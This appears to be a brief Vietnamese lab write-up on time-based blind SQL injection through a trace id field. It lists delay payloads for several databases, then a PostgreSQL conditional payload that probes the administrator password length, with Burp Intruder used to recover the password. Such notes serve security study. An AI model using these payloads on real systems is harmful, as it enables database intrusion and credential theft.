**Lỗ hổng blind nằm ở trace id.**

**Kiểm tra:**

**+Tiêm đk để ứng dụng phản hồi khác nhau 🡪thất bại**

**+Tiêm đk để kích hoạt lỗi của csdl 🡪thất bại**

**🡪Kích hoạt sự chậm trễ thời gian**

**Đầu tiên, phải kiểm tra loại cơ sở dữ liêu.**

**Cách fuzz:**

**MySQL (string concat and logical ops)**

**1' and sleep(10)**

**1' && sleep(10)**

**PostgreSQL (only support string concat)**

**1' || pg\_sleep(10)**

**MSQL**

**1' WAITFOR DELAY '0:0:10'**

**Oracle**

**1' AND [RANDNUM]=DBMS\_PIPE.RECEIVE\_MESSAGE('[RANDSTR]',[SLEEPTIME])**

**1' AND 123=DBMS\_PIPE.RECEIVE\_MESSAGE('ASD',10)**

**SQLite**

**1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))**

**1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))**

**Payload: '|| (SELECT pg\_sleep(10)) - - (phải nối chuỗi ) 🡪PostgreSQL**

**Khai thác thông tin:**

**Payload: '|| (SELECT CASE WHEN (LENGTH(password)=20) THEN pg\_sleep(10) ELSE pg\_sleep(0) END FROM users WHERE username='administrator') -- 🡪mk có 20 kí tự**

**🡪Chạy burp intruder để tìm mk.**